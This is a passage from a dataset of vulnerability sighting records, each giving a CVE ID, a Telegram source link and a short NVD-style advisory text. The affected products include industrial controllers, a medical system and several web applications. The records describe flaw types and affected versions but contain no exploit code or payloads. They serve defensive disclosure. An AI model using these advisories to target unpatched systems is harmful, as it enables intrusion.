"author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31151", "type": "seen", "source": "https://t.me/cibsecurity/63851", "content": "\u203c CVE-2023-31151 \u203c\n\nAn Improper Certificate Validation vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interfacecould allow a remote unauthenticated attacker to conduct a man-in-the-middle (MitM) attack.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:15:04.000000Z"}, {"uuid": "502b73fb-cf19-4b48-bbc4-c10a4d135c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31152", "type": "seen", "source": "https://t.me/cibsecurity/63838", "content": "\u203c CVE-2023-31152 \u203c\n\nAn Authentication Bypass Using an Alternate Path or Channel vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface allows Authentication Bypass. See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:48.000000Z"}, {"uuid": "48ccd317-718d-4e7d-9cd0-c11449bf90a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31442", "type": "seen", "source": "https://t.me/cibsecurity/63856", "content": "\u203c CVE-2023-31442 \u203c\n\nIn Lightbend Akka before 2.8.1, the async-dns resolver (used by Discovery in DNS mode and transitively by Cluster Bootstrap) uses predictable DNS transaction IDs when resolving DNS records, making DNS resolution subject to poisoning by an attacker. If the application performing discovery does not validate (e.g., via TLS) the authenticity of the discovered service, this may result in exfiltration of application data (e.g., persistence events may be published to an unintended Kafka broker). If such validation is performed, then the poisoning constitutes a denial of access to the intended service. This affects Akka 2.5.14 through 2.8.0, and Akka Discovery through 2.8.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T07:14:58.000000Z"}, {"uuid": "aebc02a3-3406-458a-be09-c05506b93a0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31807", "type": "seen", "source": "https://t.me/cibsecurity/63633", "content": "\u203c CVE-2023-31807 \u203c\n\nCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload to the personal notes function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T20:38:46.000000Z"}, {"uuid": "58968e6b-14d9-4352-840e-2eb527fb1e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31159", "type": "seen", "source": "https://t.me/cibsecurity/63849", "content": "\u203c CVE-2023-31159 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:15:02.000000Z"}, {"uuid": "0080fe4c-b54f-42e7-8366-194a934a9b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31166", "type": "seen", "source": "https://t.me/cibsecurity/63847", "content": "\u203c CVE-2023-31166 \u203c\n\nAn Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to create folders in arbitrary paths of the file system.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:15:00.000000Z"}, {"uuid": "7ca2c42c-85c9-4e33-9e8b-09d507d5f6b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31164", "type": "seen", "source": "https://t.me/cibsecurity/63839", "content": "\u203c CVE-2023-31164 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:49.000000Z"}, {"uuid": "bce85b74-de19-4cad-a2d5-785d087dc3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31566", "type": "seen", "source": "https://t.me/cibsecurity/63809", "content": "\u203c CVE-2023-31566 \u203c\n\nPodofo v0.10.0 was discovered to contain a heap-use-after-free via the component PoDoFo::PdfEncrypt::IsMetadataEncrypted().\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:44.000000Z"}, {"uuid": "bbe511d6-5139-439d-a7e7-5f5cedb47c10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31165", "type": "seen", "source": "https://t.me/cibsecurity/63846", "content": "\u203c CVE-2023-31165 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:59.000000Z"}, {"uuid": "a63cc118-6342-4afb-8ce8-3929404456b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31158", "type": "seen", "source": "https://t.me/cibsecurity/63845", "content": "\u203c CVE-2023-31158 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:58.000000Z"}, {"uuid": "2001abfc-842b-470a-89a4-13758b2d6dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31155", "type": "seen", "source": "https://t.me/cibsecurity/63836", "content": "\u203c CVE-2023-31155 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:43.000000Z"}, {"uuid": "754947a8-4f20-4f30-af04-84656bfe3a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31150", "type": "seen", "source": "https://t.me/cibsecurity/63833", "content": "\u203c CVE-2023-31150 \u203c\n\nA Storing Passwords in a Recoverable Format vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) database system could allow an authenticated attacker to retrieve passwords.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:14:41.000000Z"}, {"uuid": "fd5bcc78-6154-4494-aa10-9948656c91c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31556", "type": "seen", "source": "https://t.me/cibsecurity/63812", "content": "\u203c CVE-2023-31556 \u203c\n\npodofoinfo 0.10.0 was discovered to contain a segmentation violation via the function PoDoFo::PdfDictionary::findKeyParent.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:47.000000Z"}, {"uuid": "03861f58-3fd8-46fa-8e30-c8d364044035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31557", "type": "seen", "source": "https://t.me/cibsecurity/63810", "content": "\u203c CVE-2023-31557 \u203c\n\nxpdf pdfimages v4.04 was discovered to contain a stack overflow in the component Catalog::readEmbeddedFileTree(Object*). This vulnerability allows attackers to cause a Denial of Service (DoS).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:45.000000Z"}, {"uuid": "722ba011-9432-4e96-afe5-1c80a46031c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31567", "type": "seen", "source": "https://t.me/cibsecurity/63806", "content": "\u203c CVE-2023-31567 \u203c\n\nPodofo v0.10.0 was discovered to contain a heap buffer overflow via the component PoDoFo::PdfEncryptAESV3::PdfEncryptAESV3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T20:19:38.000000Z"}, {"uuid": "9090be94-a796-42ce-bd6c-a3e7e70a0780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31799", "type": "seen", "source": "https://t.me/cibsecurity/63635", "content": "\u203c CVE-2023-31799 \u203c\n\nCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the system annnouncements parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T20:38:47.000000Z"}, {"uuid": "20c99a4c-0888-485f-80e9-6fc33a3b5ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31471", "type": "seen", "source": "https://t.me/cibsecurity/63762", "content": "\u203c CVE-2023-31471 \u203c\n\nAn issue was discovered on GL.iNet devices before 3.216. Through the software installation feature, it is possible to install arbitrary software, such as a reverse shell, because the restrictions on the available package list are limited to client-side verification. It is possible to install software from the filesystem, the package list, or a URL.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T18:19:48.000000Z"}, {"uuid": "1f33b370-f59a-4e65-acd8-248ea2de9ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31474", "type": "seen", "source": "https://t.me/cibsecurity/63681", "content": "\u203c CVE-2023-31474 \u203c\n\nAn issue was discovered on GL.iNet devices before 3.216. Through the software installation feature, it is possible to inject arbitrary parameters in a request to cause opkg to obtain a list of files in a specific directory, by using the regex feature in a package name.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T22:44:58.000000Z"}, {"uuid": "9b6538e2-ffcd-4f86-8976-71e92531032c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31472", "type": "seen", "source": "https://t.me/cibsecurity/63674", "content": "\u203c CVE-2023-31472 \u203c\n\nAn issue was discovered on GL.iNet devices before 3.216. There is an arbitrary file write in which an empty file can be created anywhere on the filesystem. This is caused by a command injection vulnerability with a filter applied.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T22:44:49.000000Z"}, {"uuid": "07a3ae56-b125-4713-a321-d5d960b92396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31806", "type": "seen", "source": "https://t.me/cibsecurity/63650", "content": "\u203c CVE-2023-31806 \u203c\n\nCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload to the My Progress function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T20:39:10.000000Z"}, {"uuid": "377f4a56-dcdf-4d59-90ee-68b793f19073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31415", "type": "seen", "source": "https://t.me/cibsecurity/63327", "content": "\u203c CVE-2023-31415 \u203c\n\nKibana version 8.7.0 contains an arbitrary code execution flaw. An attacker with All privileges to the Uptime/Synthetics feature could send a request that will attempt to execute JavaScript code. This could lead to the attacker executing arbitrary commands on the host system with permissions of the Kibana process.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-05T00:37:16.000000Z"}, {"uuid": "becfbf40-8b7a-46c7-9bc8-325d34eac07e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31413", "type": "seen", "source": "https://t.me/cibsecurity/63325", "content": "\u203c CVE-2023-31413 \u203c\n\nFilebeat versions through 7.17.9 and 8.6.2 have a flaw in httpjson input that allows the http request Authorization or Proxy-Authorization header contents to be leaked in the logs when debug logging is enabled.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-05T00:37:14.000000Z"}, {"uuid": "0ef6a571-3b81-472d-8292-68e7a3b243c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31284", "type": "seen", "source": "https://t.me/cibsecurity/63326", "content": "\u203c CVE-2023-31284 \u203c\n\nillumos illumos-gate before 676abcb has a stack buffer overflow in /dev/net, leading to privilege escalation via a stat on a long file name in /dev/net.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-05T00:37:15.000000Z"}, {"uuid": "b2097ad2-4bc5-4833-98bd-31e13911a55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31802", "type": "seen", "source": "https://t.me/cibsecurity/63647", "content": "\u203c CVE-2023-31802 \u203c\n\nCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the skype and linedin_url parameters.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T20:39:08.000000Z"}, {"uuid": "e16bd94f-2d2c-4d21-becb-b42cd216ab66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31801", "type": "seen", "source": "https://t.me/cibsecurity/63644", "content": "\u203c CVE-2023-31801 \u203c\n\nCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the skills wheel parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T20:39:02.000000Z"}, {"uuid": "c1dfdf7c-a39a-443f-8670-93e413c5ac90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31490", "type": "seen", "source": "https://t.me/cibsecurity/63639", "content": "\u203c CVE-2023-31490 \u203c\n\nAn issue found in Frrouting bgpd v.8.4.2 allows a remote attacker to cause a denial of service via the bgp_attr_psid_sub() function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T20:38:54.000000Z"}, {"uuid": "658c627a-ffbe-4faa-83ae-3bae73d38fe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31134", "type": "seen", "source": "https://t.me/cibsecurity/63628", "content": "\u203c CVE-2023-31134 \u203c\n\nTauri is software for building applications for multi-platform deployment. The Tauri IPC is usually strictly isolated from external websites, but in versions 1.0.0 until 1.0.9, 1.1.0 until 1.1.4, and 1.2.0 until 1.2.5, the isolation can be bypassed by redirecting an existing Tauri window to an external website. This is either possible by an application implementing a feature for users to visitarbitrary websites or due to a bug allowing the open redirect. This allows the external website access to the IPC layer and therefore to all configured and exposed Tauri API endpoints and application specific implemented Tauri commands. This issue has been patched in versions 1.0.9, 1.1.4, and 1.2.5. As a workaround, prevent arbitrary input in redirect features and/or only allow trusted websites access to the IPC.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:43:47.000000Z"}, {"uuid": "9ba979c8-e020-4c48-bb88-d13161e7f41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31979", "type": "seen", "source": "https://t.me/cibsecurity/63627", "content": "\u203c CVE-2023-31979 \u203c\n\nCatdoc v0.95 was discovered to contain a global buffer overflow via the function process_file at /src/reader.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:43:46.000000Z"}, {"uuid": "5b44e07a-a494-4b52-895c-7e70fe3744f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31976", "type": "seen", "source": "https://t.me/cibsecurity/63626", "content": "\u203c CVE-2023-31976 \u203c\n\nlibming v0.4.8 was discovered to contain a stack buffer overflow via the function makeswf_preprocess at /util/makeswf_utils.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:43:45.000000Z"}, {"uuid": "3d31dbe3-8434-4e31-8e89-7d641f6387bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31222", "type": "seen", "source": "https://t.me/cibsecurity/65743", "content": "\u203c CVE-2023-31222 \u203c\n\nDeserialization of untrusted data\u00c2\u00a0in Microsoft Messaging Queuing Service in Medtronic's Paceart Optima versions 1.11 and earlier on Windows allows an unauthorized user to impact a\u00c2\u00a0healthcare delivery organization\u00e2\u20ac\u2122s Paceart Optima system\u00c2\u00a0cardiac device causing data to be deleted, stolen, or modified, or the Paceart Optima system being used for further network penetration\u00c2\u00a0via network connectivity.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-29T20:14:40.000000Z"}, {"uuid": "77bb6fc3-1060-4180-ac3b-8923970152da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3138", "type": "seen", "source": "https://t.me/cibsecurity/65686", "content": "\u203c CVE-2023-3138 \u203c\n\nA vulnerability was found in libX11. The security flaw occurs because the functions in src/InitExt.c in libX11 do not check that the values provided for the Request, Event, or Error IDs are within the bounds of the arrays that those functions write to, using those IDs as array indexes. They trust that they were called with values provided by an Xserver adhering to the bounds specified in the X11 protocol, as all X servers provided by X.Org do. As the protocol only specifies a single byte for these values, an out-of-bounds value provided by a malicious server (or a malicious proxy-in-the-middle) can only overwrite other portions of the Display structure and not write outside the bounds of the Display structure itself, possibly causing the client to crash with this memory corruption.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-29T16:18:35.000000Z"}, {"uuid": "a5f53e63-fc74-4755-b521-d26b67c2b0a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3110", "type": "seen", "source": "https://t.me/cibsecurity/65399", "content": "\u203c CVE-2023-3110 \u203c\n\nDescription: A vulnerability in SiLabs Unify Gateway 1.3.1 and earlier allows an unauthenticated attacker within Z-Wave range to overflow a stack buffer, leading to arbitrary code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-22T00:36:39.000000Z"}, {"uuid": "438b3110-57f4-4db5-b73f-1bd95d707d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/cibsecurity/65437", "content": "\u203c CVE-2023-3128 \u203c\n\nGrafana is validating Azure AD accounts based on the email claim. On Azure AD, the profile email field is not unique and can be easily modified. This leads to account takeover and authentication bypass when Azure AD OAuth is configured with a multi-tenant app.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-23T00:27:51.000000Z"}, {"uuid": "49fe7b00-abe0-408c-bb8b-a90095945990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31469", "type": "seen", "source": "https://t.me/cibsecurity/65442", "content": "\u203c CVE-2023-31469 \u203c\n\nA REST interface in Apache StreamPipes (versions 0.69.0 to 0.91.0) was not properly restricted to admin-only access. This allowed a non-admin user with valid login credentials to elevate privileges beyond the initially assigned roles.The issue is resolved by upgrading to StreamPipes 0.92.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-23T12:33:17.000000Z"}, {"uuid": "2642b736-b0c6-4444-ae9c-fb647e63f525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31047", "type": "seen", "source": "https://t.me/cibsecurity/63405", "content": "\u203c CVE-2023-31047 \u203c\n\nIn Django 3.2 before 3.2.19, 4.x before 4.1.9, and 4.2 before 4.2.1, it was possible to bypass validation when using one form field to upload multiple files. This multiple upload has never been supported by forms.FileField or forms.ImageField (only the last uploaded file was validated). However, Django's \"Uploading multiple files\" documentation suggested otherwise.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-07T07:41:24.000000Z"}, {"uuid": "c79b7a62-8579-4484-9f03-e669b645809c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31414", "type": "seen", "source": "https://t.me/cibsecurity/63338", "content": "\u203c CVE-2023-31414 \u203c\n\nKibana versions 8.0.0 through 8.7.0 contain an arbitrary code execution flaw. An attacker with write access to Kibana yaml or env configuration could add a specific payload that will attempt to execute JavaScript code. This could lead to the attacker executing arbitrary commands on the host system with permissions of the Kibana process.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-05T00:37:30.000000Z"}, {"uuid": "e9a6606b-c918-4621-848c-4c97a0269097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31435", "type": "seen", "source": "https://t.me/cibsecurity/63186", "content": "\u203c CVE-2023-31435 \u203c\n\nMultiple components (such as Onlinetemplate-Verwaltung, Liste aller Teilbereiche, Umfragen anzeigen, and questionnaire previews) in evasys before 8.2 Build 2286 and 9.x before 9.0 Build 2401 allow authenticated attackers to read and write to unauthorized data by accessing functions directly.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:38.000000Z"}, {"uuid": "19c6c0eb-5e20-47a0-a75b-a4f9b511e3e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31433", "type": "seen", "source": "https://t.me/cibsecurity/63184", "content": "\u203c CVE-2023-31433 \u203c\n\nA SQL injection issue in Logbuch in evasys before 8.2 Build 2286 and 9.x before 9.0 Build 2401 allows authenticated attackers to execute SQL statements via the welche parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:35.000000Z"}, {"uuid": "03c280b0-014e-49c1-b88b-ed9a156d72ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31470", "type": "seen", "source": "https://t.me/cibsecurity/63098", "content": "\u203c CVE-2023-31470 \u203c\n\nSmartDNS through 41 before 56d0332 allows an out-of-bounds write because of a stack-based buffer overflow in the _dns_encode_domain function in the dns.c file, via a crafted DNS request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-29T00:27:40.000000Z"}, {"uuid": "0eec4333-824b-42ab-86e4-504deac29fdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31434", "type": "seen", "source": "https://t.me/cibsecurity/63175", "content": "\u203c CVE-2023-31434 \u203c\n\nThe parameters nutzer_titel, nutzer_vn, and nutzer_nn in the user profile, and langID and ONLINEID in direct links, in evasys before 8.2 Build 2286 and 9.x before 9.0 Build 2401 do not validate input, which allows authenticated attackers to inject HTML Code and XSS payloads in multiple locations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-03T00:30:25.000000Z"}, {"uuid": "49e84150-54af-42e4-a717-57bfd2c1c9cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31444", "type": "seen", "source": "https://t.me/cibsecurity/63106", "content": "\u203c CVE-2023-31444 \u203c\n\nIn Talend Studio before 7.3.1-R2022-10 and 8.x before 8.0.1-R2022-09, microservices allow unauthenticated access to the Jolokia endpoint of the microservice. This allows for remote access to the JVM via the Jolokia JMX-HTTP bridge.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-29T00:27:49.000000Z"}, {"uuid": "e4b19d09-4c5f-4814-ab1d-211e2f990118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31223", "type": "seen", "source": "https://t.me/cibsecurity/62877", "content": "\u203c CVE-2023-31223 \u203c\n\nDradis before 4.8.0 allows persistent XSS by authenticated author users, related to avatars.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-26T02:25:18.000000Z"}, {"uuid": "3b483659-9029-4dd1-97a2-35fc11b1dd0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31436", "type": "seen", "source": "https://t.me/cibsecurity/63026", "content": "\u203c CVE-2023-31436 \u203c\n\nqfq_change_class in net/sched/sch_qfq.c in the Linux kernel before 6.2.13 allows an out-of-bounds write because lmax can exceed QFQ_MIN_LMAX.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-28T07:27:01.000000Z"}, {"uuid": "cfc2b899-d8f3-4143-9164-0439422a8cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31250", "type": "seen", "source": "https://t.me/cibsecurity/62927", "content": "\u203c CVE-2023-31250 \u203c\n\nThe file download facility doesn't sufficiently sanitize file paths in certain situations. This may result in users gaining access to private files that they should not have access to. Some sites may require configuration changes following this security release. Review the release notes for your Drupal version if you have issues accessing private files after updating.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": 